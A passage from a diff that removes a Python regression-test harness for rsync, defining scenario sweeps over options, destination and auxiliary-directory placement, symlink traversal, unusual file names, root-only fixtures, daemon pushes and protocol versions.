\"dest/\"),\n-        Scenario(\"sel:min-size\", _setup_sizes, [\"-a\", \"--min-size=1000\"], [plain], \"dest/\"),\n-        Scenario(\"sel:times-only\", _pc_tree, [\"-rlpt\"], [plain], \"dest/\"),\n-        Scenario(\"sel:atimes\", _pc_tree, [\"-a\", \"--atimes\"], [plain], \"dest/\"),\n-        Scenario(\"sel:crtimes\", _pc_tree, [\"-a\", \"--crtimes\"], [plain], \"dest/\"),\n-        Scenario(\"sel:open-noatime\", _pc_tree, [\"-a\", \"--open-noatime\"], [plain], \"dest/\"),\n-    ]\n-    return lift_transports(s)\n-\n-\n-def behavior_sweep():\n-    \"\"\"Behaviour options at their active preconditions (overwrite/backup/delete/\n-    inplace/append/keep-dirlinks-dest/prune-empty/mkpath/dirs).\"\"\"\n-    return [\n-        Scenario(\"beh:backup\", build_recvtree, [\"-ab\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:delete\", build_recvtree, [\"-a\", \"--delete\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:delete-before\", build_recvtree, [\"-a\", \"--delete-before\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:delete-after\", build_recvtree, [\"-a\", \"--delete-after\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:delete-delay\", build_recvtree, [\"-a\", \"--delete-delay\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:delete-excluded\", build_recvtree,\n-                 [\"-a\", \"--delete\", \"--delete-excluded\", \"--exclude=obsolete.txt\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:prune-empty\", _setup_emptydirs, [\"-a\", \"-m\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"beh:inplace\", build_recvtree, [\"-a\", \"--inplace\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:append\", _setup_append, [\"-a\", \"--append\"], [\"src/\"], \"dest/\", pre_dest=_pre_append),\n-        Scenario(\"beh:numeric-ids\", build_recvtree, [\"-a\", \"--numeric-ids\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"beh:delay-updates\", build_recvtree, [\"-a\", \"--delay-updates\"], [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"beh:dirs\", _pc_tree, [\"-dlpt\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"beh:mkpath\", _pc_tree, [\"-a\", \"--mkpath\"], [\"src/\"], \"dest/\",\n-                 dest_arg=lambda d: str(d) + \"/made/sub/\"),\n-        Scenario(\"beh:keep-dirlinks-dest\", _setup_kdest, [\"-aK\"], [\"src/\"], \"dest/\",\n-                 dest_prep=_prep_kdest, snap_dest=lambda d: d / \"realdir\"),\n-    ]\n-\n-\n-def _auxp(dest, where, name):\n-    \"\"\"Aux path INSIDE the dest tree, or OUTSIDE it (sibling under the workdir).\"\"\"\n-    dest = Path(dest)\n-    return str((dest / name) if where == \"inside\" else (dest.parent / f\"aux_{name}\"))\n-\n-\n-def placement_sweep():\n-    \"\"\"Options that take a DIR/path, each with the aux location INSIDE vs OUTSIDE\n-    the destination tree -- the edge most likely to expose confinement/escape\n-    regressions.  backup/temp/partial-dir + link/compare/copy-dest.\"\"\"\n-    s = []\n-    for where in (\"inside\", \"outside\"):\n-        s.append(Scenario(f\"place:backup-dir-{where}\", build_recvtree,\n-                 (lambda wd, dest, w=where: [\"-ab\", f\"--backup-dir={_auxp(dest, w, 'bak')}\"]),\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest))\n-        # temp-dir must exist -> pre-create dest (empty) + the temp dir\n-        def _prep_temp(dest, w=where):\n-            dest.mkdir(parents=True, exist_ok=True)\n-            os.makedirs(_auxp(dest, w, \"tmp\"), exist_ok=True)\n-        s.append(Scenario(f\"place:temp-dir-{where}\", build_recvtree,\n-                 (lambda wd, dest, w=where: [\"-a\", f\"--temp-dir={_auxp(dest, w, 'tmp')}\"]),\n-                 [\"src/\"], \"dest/\", dest_prep=_prep_temp))\n-        s.append(Scenario(f\"place:partial-dir-{where}\", build_recvtree,\n-                 (lambda wd, dest, w=where: [\"-a\", \"--partial\", f\"--partial-dir={_auxp(dest, w, 'part')}\"]),\n-                 [\"src/\"], \"dest/\"))\n-    # alt-dest basis (a prior identical copy at wd/basis): absolute vs relative path\n-    for opt in (\"link-dest\", \"compare-dest\", \"copy-dest\"):\n-        s.append(Scenario(f\"place:{opt}-abs\", setup_with_basis,\n-                 (lambda wd, dest, o=opt: [\"-a\", f\"--{o}={wd}/basis\"]), [\"src/\"], \"dest/\"))\n-        s.append(Scenario(f\"place:{opt}-rel\", setup_with_basis,\n-                 (lambda wd, dest, o=opt: [\"-a\", f\"--{o}=../basis\"]), [\"src/\"], \"dest/\"))\n-    return lift_transports(s)\n-\n-\n-def wire_sweep():\n-    \"\"\"Protocol / wire / algorithm options (checksum & compress choice, old/\n-    secluded args, iconv, odd block sizes).\"\"\"\n-    bt = build_recvtree\n-    return [\n-        Scenario(\"wire:cc-md5\", bt, [\"-a\", \"--checksum-choice=md5\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:cc-md4\", bt, [\"-a\", \"--checksum-choice=md4\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:cc-xxh64\", bt, [\"-a\", \"--checksum-choice=xxh64\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:zc-zstd\", bt, [\"-a\", \"-z\", \"--compress-choice=zstd\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:zc-zlib\", bt, [\"-a\", \"-z\", \"--compress-choice=zlib\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:zc-zlibx\", bt, [\"-a\", \"-z\", \"--compress-choice=zlibx\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:old-args\", bt, [\"-a\", \"--old-args\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:secluded-args\", bt, [\"-a\", \"-s\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:iconv\", bt, [\"-a\", \"--iconv=utf8,latin1\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:block-1024\", bt, [\"-a\", \"-B\", \"1024\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"wire:block-999\", bt, [\"-a\", \"-B\", \"999\"], [\"src/\"], \"dest/\"),\n-    ]\n-\n-\n-# module-level file-type fixtures (also used by the pairwise sweep)\n-def _ft_intree(src):\n-    _mk_reg(src / \"real\", 20)\n-    os.symlink(\"real\", src / \"lnk\")\n-    _mk_reg(src / \"anchor\", 10)\n-\n-\n-def _ft_dirlink(src):\n-    _mk_reg(src / \"rd/inner\", 20)\n-    os.symlink(\"rd\", src / \"dl\")\n-    _mk_reg(src / \"anchor\", 10)\n-    _ut(src / \"rd\")\n-\n-\n-def _ft_hardlinks(src):\n-    _mk_reg(src / \"a\", 40)\n-    os.link(src / \"a\", src / \"b\")\n-    os.link(src / \"a\", src / \"c\")\n-    _mk_reg(src / \"anchor\", 10)\n-\n-\n-def _ft_sparse(src):\n-    _mk_sparse(src / \"sp.bin\")\n-    _mk_reg(src / \"anchor\", 10)\n-\n-\n-def pairwise_sweep():\n-    \"\"\"Guided pairwise: curated feature interactions (domain knowledge about where\n-    two options collide), plus an auto option x file-type covering set.\"\"\"\n-    s = [\n-        Scenario(\"pair:delete+dirlink-dest\", _setup_kdest, [\"-aK\", \"--delete\"],\n-                 [\"src/\"], \"dest/\", dest_prep=_prep_kdest, snap_dest=lambda d: d / \"realdir\"),\n-        Scenario(\"pair:backup-inside+delete\", build_recvtree,\n-                 (lambda wd, dest: [\"-ab\", \"--delete\", f\"--backup-dir={_auxp(dest, 'inside', 'bak')}\"]),\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"pair:inplace+sparse\", _ft_sparse,\n-                 [\"-aS\", \"--inplace\", \"--no-whole-file\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"pair:link-dest+hardlinks\", setup_with_basis,\n-                 (lambda wd, dest: [\"-aH\", f\"--link-dest={wd}/basis\"]), [\"src/\"], \"dest/\"),\n-        Scenario(\"pair:copy-links+dirlink\", _ft_dirlink, [\"-aL\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"pair:keepdirlinks+delete-excluded\", _setup_kdest,\n-                 [\"-aK\", \"--delete\", \"--delete-excluded\", \"--exclude=top\"],\n-                 [\"src/\"], \"dest/\", dest_prep=_prep_kdest, snap_dest=lambda d: d / \"realdir\"),\n-        Scenario(\"pair:sparse+whole-file\", _ft_sparse, [\"-aS\", \"-W\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"pair:partial-inside+delete\", build_recvtree,\n-                 (lambda wd, dest: [\"-a\", \"--delete\", \"--partial\",\n-                                    f\"--partial-dir={_auxp(dest, 'inside', 'part')}\"]),\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-    ]\n-    # auto option x file-type covering set (each option relevant to several types)\n-    fts = [(\"intree\", _ft_intree), (\"dirlink\", _ft_dirlink),\n-           (\"hardlinks\", _ft_hardlinks), (\"sparse\", _ft_sparse)]\n-    opts = [\"-c\", \"-z\", \"-b\", \"--inplace\", \"-H\", \"-L\", \"-k\", \"--checksum-choice=md5\"]\n-    for ftn, ftfn in fts:\n-        for o in opts:\n-            tag = o.lstrip(\"-\").split(\"=\")[0]\n-            s.append(Scenario(f\"pair:{tag}x{ftn}\", ftfn, [\"-a\", o], [\"src/\"], \"dest/\"))\n-    return s\n-\n-\n-def recv_sweep():\n-    \"\"\"Receiver/generator + stateful scenarios: existing-dest update/delete,\n-    backup, dest-variants (link/compare/copy-dest), inplace, temp-dir. These\n-    exercise the receiver's existing-dest / basis / temp-dir paths that the\n-    single-transfer-into-empty-dest sweeps don't reach.\"\"\"\n-    s = []\n-    s += [\n-        Scenario(\"recv:update\", build_recvtree, [\"-a\"], [\"src/\"], \"dest/\",\n-                 pre_dest=stale_dest),\n-        Scenario(\"recv:update-W\", build_recvtree, [\"-a\", \"-W\"], [\"src/\"], \"dest/\",\n-                 pre_dest=stale_dest),\n-        Scenario(\"recv:update-delete\", build_recvtree, [\"-a\", \"--delete\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:delete-during\", build_recvtree, [\"-a\", \"--delete-during\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:delete-after\", build_recvtree, [\"-a\", \"--delete-after\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:delete-delay\", build_recvtree, [\"-a\", \"--delete-delay\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:backup\", build_recvtree, [\"-a\", \"-b\"], [\"src/\"], \"dest/\",\n-                 pre_dest=stale_dest),\n-        Scenario(\"recv:backup-dir\", build_recvtree, [\"-a\", \"-b\", \"--backup-dir=bak\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:backup-suffix\", build_recvtree, [\"-a\", \"-b\", \"--suffix=.old\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:inplace\", build_recvtree, [\"-a\", \"--inplace\", \"--no-whole-file\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:delay-updates\", build_recvtree, [\"-a\", \"--delay-updates\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:temp-dir\", build_recvtree, [\"-a\", \"--temp-dir=tmpd\"],\n-                 [\"src/\"], \"dest/\", pre_dest=lambda d: (stale_dest(d), (d / \"tmpd\").mkdir(exist_ok=True))),\n-        Scenario(\"recv:partial-dir\", build_recvtree, [\"-a\", \"--partial-dir=.part\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"recv:fuzzy\", build_recvtree, [\"-a\", \"--fuzzy\"], [\"src/\"], \"dest/\",\n-                 pre_dest=stale_dest),\n-        # dest-variant basis lookups (basis = identical sibling dir)\n-        Scenario(\"recv:link-dest-rel\", setup_with_basis, [\"-a\", \"--link-dest=../basis\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"recv:link-dest-abs\", setup_with_basis, [\"-a\"],\n-                 lambda wd: [\"--link-dest=\" + str(Path(wd) / \"basis\"), \"src/\"], \"dest/\"),\n-        Scenario(\"recv:compare-dest-rel\", setup_with_basis,\n-                 [\"-a\", \"--compare-dest=../basis\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"recv:copy-dest-rel\", setup_with_basis,\n-                 [\"-a\", \"--copy-dest=../basis\"], [\"src/\"], \"dest/\"),\n-    ]\n-    return lift_transports(s)\n-\n-\n-def destshape_sweep():\n-    \"\"\"Destination path shapes (symlinked dest dir, --mkpath) that stress the\n-    receiver's destination-path handling.\"\"\"\n-    def symlinked_dest(dest: Path):\n-        real = Path(str(dest) + \"_real\")\n-        real.mkdir(parents=True, exist_ok=True)\n-        if not dest.is_symlink():\n-            os.symlink(real.name, dest)          # dest -> dest_X_real (in-tree)\n-\n-    def real_of(dest: Path):\n-        return Path(str(dest) + \"_real\")\n-\n-    def via_symlink_parent(dest: Path):\n-        # dest = .../dest_X ; make its PARENT route through an in-tree symlink:\n-        # realbase/, link->realbase, and rsync writes to link/<dest_X name>\n-        real = Path(str(dest) + \"_rb\")\n-        real.mkdir(parents=True, exist_ok=True)\n-        link = Path(str(dest) + \"_lnk\")\n-        if not link.is_symlink():\n-            os.symlink(real.name, link)\n-        return link\n-\n-    s = [\n-        Scenario(\"dest:symlinked-dir\", build_recvtree, [\"-a\"], [\"src/\"], \"dest/\",\n-                 dest_prep=symlinked_dest, snap_dest=real_of),\n-        Scenario(\"dest:mkpath\", build_recvtree, [\"-a\", \"--mkpath\"], [\"src/\"],\n-                 \"dest/new/deep/\", snap_dest=lambda d: d),\n-    ]\n-    return s\n-\n-\n-def name_sweep():\n-    \"\"\"Unusual but benign filenames (arg-handling / secluded-args).\"\"\"\n-    names = [\"a space\", \"two  spaces\", \"café_ünïcode\", \"semi;colon\",\n-             \"dollar$sign\", \"paren(s)\", \"quote'name\", \"amp&and\", \"back\\\\slash\",\n-             \"newline\\nname\", \"tab\\tname\", \"trailing \", \"leaddash\"]\n-\n-    def setup(src: Path):\n-        for i, n in enumerate(names):\n-            _write(src / n, f\"content {i}\\n\".encode())\n-        # a leading-dash file (separate so it can't be mistaken for an option)\n-        _write(src / \"-leadingdash.txt\", b\"dash\\n\")\n-        os.symlink(\"a space\", src / \"link to spaced\")\n-\n-    return [Scenario(\"name:weird\", setup, [\"-a\"], [\"src/\"], \"dest/\")]\n-\n-\n-def filesfrom_sweep():\n-    \"\"\"--files-from with relative & absolute name lists, and --from0.\n-\n-    The list files live in the workdir, which is also rsync's cwd, so the\n-    --files-from arg is a BARE filename (cwd-relative) -- referencing it via\n-    str(wd) double-resolves and silently fails when --workdir is relative, which\n-    makes the whole scenario a vacuous pass. The absolute list uses src.resolve()\n-    so the \"/\" transfer-root case works regardless of workdir.\"\"\"\n-    def setup(src: Path):\n-        build_recvtree(src)\n-        wd = src.parent\n-        asrc = src.resolve()\n-        (wd / \"list_rel.txt\").write_text(\"file1.txt\\ndir/file2.txt\\nslink\\n\")\n-        (wd / \"list_abs.txt\").write_text(\n-            f\"{asrc}/file1.txt\\n{asrc}/dir/file2.txt\\n\")\n-        (wd / \"list0.txt\").write_bytes(b\"file1.txt\\0dir/file2.txt\\0\")\n-\n-    s = [\n-        Scenario(\"ff:rel\", setup, [\"-a\"],\n-                 [\"--files-from=list_rel.txt\", \"src/\"], \"dest/\"),\n-        Scenario(\"ff:rel-R\", setup, [\"-aR\"],\n-                 [\"--files-from=list_rel.txt\", \"src/\"], \"dest/\"),\n-        Scenario(\"ff:abs\", setup, [\"-a\"],\n-                 [\"--files-from=list_abs.txt\", \"/\"], \"dest/\"),\n-        Scenario(\"ff:from0\", setup, [\"-a\", \"--from0\"],\n-                 [\"--files-from=list0.txt\", \"src/\"], \"dest/\"),\n-    ]\n-    return lift_transports(s)\n-\n-\n-def build_privtree(src: Path):\n-    \"\"\"Root-only fixture: owned files, special perms, FIFO, devices. Falls back\n-    gracefully to what the euid can create.\"\"\"\n-    build_recvtree(src)\n-    os.chmod(src / \"file1.txt\", 0o4755)   # setuid\n-    os.chmod(src / \"dir\", 0o2755)         # setgid\n-    try:\n-        os.mkfifo(src / \"fifo\")\n-    except OSError:\n-        pass\n-    if os.geteuid() == 0:\n-        try:\n-            os.mknod(src / \"chardev\", stat.S_IFCHR | 0o644, os.makedev(1, 3))\n-            os.mknod(src / \"blockdev\", stat.S_IFBLK | 0o644, os.makedev(7, 0))\n-        except OSError:\n-            pass\n-        # chown a file to a different uid/gid if any exists\n-        try:\n-            os.chown(src / \"dir/file2.txt\", 1, 1)\n-        except OSError:\n-            pass\n-\n-\n-def priv_sweep():\n-    \"\"\"Run as root (sudo): owner/group, devices/specials, fake-super.\"\"\"\n-    return [\n-        Scenario(\"priv:archive\", build_privtree, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:devices\", build_privtree, [\"-aD\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:HD\", build_privtree, [\"-aHD\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:numeric-ids\", build_privtree, [\"-a\", \"--numeric-ids\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:fake-super\", build_privtree, [\"-a\", \"--fake-super\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:specials\", build_privtree, [\"-a\", \"--specials\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"priv:acls-xattrs\", build_privtree, [\"-aAX\"], [\"src/\"], \"dest/\"),\n-    ]\n-\n-\n-def intree_sweep():\n-    \"\"\"Traverse an IN-TREE dir-symlink as a path component (source via a\n-    dir-symlink, dest through a dir-symlink, keep-dirlinks, alt-basis via a\n-    dir-symlink) -- a path-handling shape that varies across builds/platforms.\"\"\"\n-    def src_dirlink(src: Path):\n-        _write(src / \"real/f1\", b\"in real\\n\")\n-        _write(src / \"real/sub/f2\", b\"deep\\n\")\n-        os.symlink(\"real\", src / \"link\")\n-\n-    def dirtree(src: Path):\n-        _write(src / \"dir/f1\", b\"one\\n\")\n-        _write(src / \"dir/f2\", b\"two\\n\")\n-        _write(src / \"top.txt\", b\"top\\n\")\n-\n-    def dest_dirlink_prep(dest: Path):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"real\").mkdir(exist_ok=True)\n-        if not (dest / \"link\").is_symlink():\n-            os.symlink(\"real\", dest / \"link\")\n-\n-    def keepdir_prep(dest: Path):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    def basis_dirlink(src: Path):\n-        build_recvtree(src)\n-        build_recvtree(src.parent / \"realbasis\")\n-        os.symlink(\"realbasis\", src.parent / \"basislink\")\n-\n-    return [\n-        Scenario(\"intree:src-via-dirlink\", src_dirlink, [\"-a\"], [\"src/link/\"], \"dest/\"),\n-        Scenario(\"intree:src-dirlink-noslash\", src_dirlink, [\"-a\"], [\"src/link\"], \"dest/\"),\n-        Scenario(\"intree:dest-via-dirlink\", build_recvtree, [\"-a\"], [\"src/\"], \"dest/\",\n-                 dest_prep=dest_dirlink_prep,\n-                 dest_arg=lambda d: str(d / \"link\") + \"/\",\n-                 snap_dest=lambda d: d / \"real\"),\n-        Scenario(\"intree:keep-dirlinks\", dirtree, [\"-aK\"], [\"src/\"], \"dest/\",\n-                 dest_prep=keepdir_prep, snap_dest=lambda d: d / \"realdir\"),\n-        Scenario(\"intree:link-dest-dirlink\", basis_dirlink, [\"-a\"],\n-                 lambda wd: [\"--link-dest=\" + str(Path(wd) / \"basislink\"), \"src/\"],\n-                 \"dest/\"),\n-        Scenario(\"intree:compare-dest-dirlink\", basis_dirlink, [\"-a\"],\n-                 lambda wd: [\"--compare-dest=\" + str(Path(wd) / \"basislink\"), \"src/\"],\n-                 \"dest/\"),\n-    ]\n-\n-\n-def intree2_sweep():\n-    \"\"\"More in-tree dir-symlink traversal: -k/copy-dirlinks on the source,\n-    source files under a symlinked PARENT, and -K update/delete through a\n-    symlinked dest dir.\"\"\"\n-    def src_with_dirlink(src: Path):\n-        _write(src / \"realdir/a\", b\"aa\\n\")\n-        _write(src / \"realdir/b\", b\"bb\\n\")\n-        _write(src / \"top.txt\", b\"top\\n\")\n-        os.symlink(\"realdir\", src / \"dl\")\n-\n-    def src_symlink_parent(src: Path):\n-        _write(src / \"real/sub/file\", b\"under symlinked parent\\n\")\n-        os.symlink(\"real\", src / \"link\")\n-\n-    def kupd_prep(dest: Path):\n-        # symlinked dest dir whose real target holds an OLDER file + an extra\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        _write(dest / \"realdir/f1\", b\"OLD\\n\")\n-        _ut(dest / \"realdir/f1\", T_OLD)\n-        _write(dest / \"realdir/extra\", b\"extra\\n\")\n-        _ut(dest / \"realdir/extra\", T_OLD)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    def dirtree2(src: Path):\n-        _write(src / \"dir/f1\", b\"new1\\n\")\n-        _write(src / \"dir/f2\", b\"new2\\n\")\n-        _ut(src / \"dir/f1\"); _ut(src / \"dir/f2\"); _ut(src / \"dir\")\n-\n-    return [\n-        Scenario(\"intree2:copy-dirlinks-k\", src_with_dirlink, [\"-a\", \"-k\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"intree2:copy-links-L\", src_with_dirlink, [\"-a\", \"-L\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"intree2:src-symlink-parent\", src_symlink_parent, [\"-a\"],\n-                 [\"src/link/sub/file\"], \"dest/\"),\n-        Scenario(\"intree2:src-symlink-parent-R\", src_symlink_parent, [\"-aR\"],\n-                 [\"src/link/sub/file\"], \"dest/\"),\n-        Scenario(\"intree2:src-symlink-parent-dir\", src_symlink_parent, [\"-a\"],\n-                 [\"src/link/sub/\"], \"dest/\"),\n-        Scenario(\"intree2:K-update\", dirtree2, [\"-aK\"], [\"src/\"], \"dest/\",\n-                 dest_prep=kupd_prep, snap_dest=lambda d: d / \"realdir\"),\n-        Scenario(\"intree2:K-delete\", dirtree2, [\"-aK\", \"--delete\"], [\"src/\"],\n-                 \"dest/\", dest_prep=kupd_prep, snap_dest=lambda d: d / \"realdir\"),\n-    ]\n-\n-\n-def proto_sweep():\n-    \"\"\"Older protocol versions (negotiation / wire-format regressions).\"\"\"\n-    s = []\n-    for p in (29, 30, 31):\n-        for opt in ([\"-a\"], [\"-aH\"], [\"-aHS\"], [\"-az\"],\n-                    [\"-a\", \"--no-inc-recursive\"]):\n-            tag = \"+\".join(o.lstrip(\"-\") for o in opt if o != \"-a\") or \"a\"\n-            s.append(Scenario(f\"proto{p}:{tag}\", build_kitchen,\n-                     opt + [f\"--protocol={p}\"], [\"src/\"], \"dest/\"))\n-    return s\n-\n-\n-def combo_sweep():\n-    \"\"\"Pairs of options over a stale dest (so update/backup/inplace actually\n-    fire) -- non-symlink option-interaction regressions.\"\"\"\n-    import itertools\n-    flags = [\"-H\", \"-S\", \"--inplace\", \"-z\", \"-c\", \"-b\", \"-O\", \"-J\",\n-             \"--numeric-ids\", \"-A\", \"-X\", \"-E\", \"--no-whole-file\", \"-I\",\n-             \"--size-only\", \"-u\"]\n-    s = []\n-    for x, y in itertools.combinations(flags, 2):\n-        s.append(Scenario(f\"combo:{x},{y}\", build_recvtree, [\"-a\", x, y],\n-                          [\"src/\"], \"dest/\", pre_dest=stale_dest))\n-    return s\n-\n-\n-def scale_sweep():\n-    \"\"\"Content scale: many small files, deep nesting, a large file.\"\"\"\n-    def many(src: Path):\n-        for i in range(500):\n-            _write(src / f\"d{i % 12}\" / f\"f{i:04d}\", f\"file {i}\\n\".encode())\n-\n-    def deep(src: Path):\n-        p = src\n-        for i in range(40):\n-            p = p / f\"d{i}\"\n-        _write(p / \"leaf\", b\"deep\\n\")\n-        _write(src / \"shallow\", b\"s\\n\")\n-\n-    def big(src: Path):\n-        _write(src / \"big.bin\", bytes((i * 7) & 0xFF for i in range(3_000_000)))\n-        _write(src / \"small\", b\"x\\n\")\n-\n-    return [\n-        Scenario(\"scale:many\", many, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:many-H\", many, [\"-aH\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:deep\", deep, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:big\", big, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:big-inplace\", big, [\"-a\", \"--inplace\", \"--no-whole-file\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:big-z\", big, [\"-az\"], [\"src/\"], \"dest/\"),\n-    ]\n-\n-\n-def _daemon_scns(chroot):\n-    \"\"\"PUSH scenarios to a [m] daemon module (the daemon receiver path).\"\"\"\n-    D = {\"chroot\": chroot}\n-    pfx = \"daemonchroot\" if chroot == \"yes\" else \"daemon\"\n-\n-    def kt(src: Path):\n-        _write(src / \"dir/f1\", b\"n1\\n\")\n-        _write(src / \"dir/f2\", b\"n2\\n\")\n-        _write(src / \"top\", b\"t\\n\")\n-\n-    def kprep(dest: Path):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    return [\n-        Scenario(f\"{pfx}:push\", build_recvtree, [\"-a\"], [\"src/\"], daemon=D),\n-        Scenario(f\"{pfx}:push-H\", build_recvtree, [\"-aH\"], [\"src/\"], daemon=D),\n-        Scenario(f\"{pfx}:push-X\", build_recvtree, [\"-aX\"], [\"src/\"], daemon=D),\n-        Scenario(f\"{pfx}:push-update\", build_recvtree, [\"-a\"], [\"src/\"],\n-                 pre_dest=stale_dest, daemon=D),\n-        Scenario(f\"{pfx}:push-delete\", build_recvtree, [\"-a\", \"--delete\"],\n-                 [\"src/\"], pre_dest=stale_dest, daemon=D),\n-        Scenario(f\"{pfx}:push-K-symlinkdir\", kt, [\"-aK\"], [\"src/\"],\n-                 dest_prep=kprep, snap_dest=lambda d: d / \"realdir\", daemon=D),\n-    ]\n-\n-\n-def daemon_sweep():\n-    return _daemon_scns(\"no\")\n-\n-\n-def daemonchroot_sweep():\n-    \"\"\"use chroot = yes (root-only): the daemon chroots into the module path.\"\"\"\n-    return _daemon_scns(\"yes\")\n-\n-\n-def gaps_sweep():\n-    \"\"\"Scenarios observable mainly via the stdout/stderr/itemize signals rather\n-    than the dest tree: --list-only listings, --dry-run plans (incl.\n-    --mkpath+--dry-run file-to-file), and type-change updates.\"\"\"\n-    def t_tree(src):\n-        _mk_reg(src / \"f\", 100)\n-        _mk_reg(src / \"dir/g\", 50)\n-        os.symlink(\"f\", src / \"l\")\n-        _ut(src / \"dir\")\n-\n-    def t_one(src):\n-        _mk_reg(src / \"file\", 50)\n-\n-    def t_typesrc(src):\n-        _mk_reg(src / \"x\", 30)        # src: x is a FILE\n-        _mk_reg(src / \"keep\", 10)\n-\n-    def pre_typedir(dest):            # dest: x is a DIR (different type)\n-        os.makedirs(dest / \"x\")\n-        _mk_reg(dest / \"x\" / \"inner\", 5)\n-        _ut(dest / \"x\")\n-\n-    return [\n-        Scenario(\"gap:list-only\", t_tree, [\"--list-only\", \"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"gap:dry-run\", t_tree, [\"-ai\", \"--dry-run\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"gap:mkpath-dryrun-f2f\", t_one, [\"-ai\", \"--mkpath\", \"--dry-run\"],\n-                 [\"src/file\"], \"dest/\", dest_arg=lambda d: str(d) + \"/newdir/file\"),\n-        Scenario(\"gap:dry-run-delete\", build_recvtree, [\"-ai\", \"--dry-run\", \"--delete\"],\n-                 [\"src/\"], \"dest/\", pre_dest=stale_dest),\n-        Scenario(\"gap:typechange-force\", t_typesrc, [\"-a\", \"--force\"], [\"src/\"], \"dest/\",\n-                 pre_dest=pre_typedir),\n-        Scenario(\"gap:typechange-delete\", t_typesrc, [\"-a\", \"--delete\"], [\"src/\"], \"dest/\",\n-                 pre_dest=pre_typedir),\n-    ]\n-\n-\n-def misc_sweep():\n-    \"\"\"Genuinely-untested subsystems: filter/include-exclude rules, per-dir merge,\n-    CVS-exclude, fuzzy, write-batch, xattr, -R dot-anchoring -- looking for NEW\n-    root-cause families beyond the daemon-symlink cluster.\"\"\"\n-    def t_filter(src):\n-        _mk_reg(src / \"keep.txt\", 10)\n-        _mk_reg(src / \"skip.log\", 10)\n-        _mk_reg(src / \"sub/keep2.txt\", 10)\n-        _mk_reg(src / \"sub/skip2.log\", 10)\n-        _ut(src / \"sub\")\n-\n-    def t_dirmerge(src):\n-        _mk_reg(src / \"a.txt\", 10)\n-        _mk_reg(src / \"b.log\", 10)\n-        _write(src / \".rsync-filter\", b\"- *.log\\n\")\n-        _ut(src / \".rsync-filter\")\n-\n-    def t_cvs(src):\n-        _mk_reg(src / \"keep\", 10)\n-        _mk_reg(src / \"core\", 10)\n-        _mk_reg(src / \"obj.o\", 10)\n-\n-    def t_fuzzy(src):\n-        _mk_reg(src / \"file.txt\", 5000, 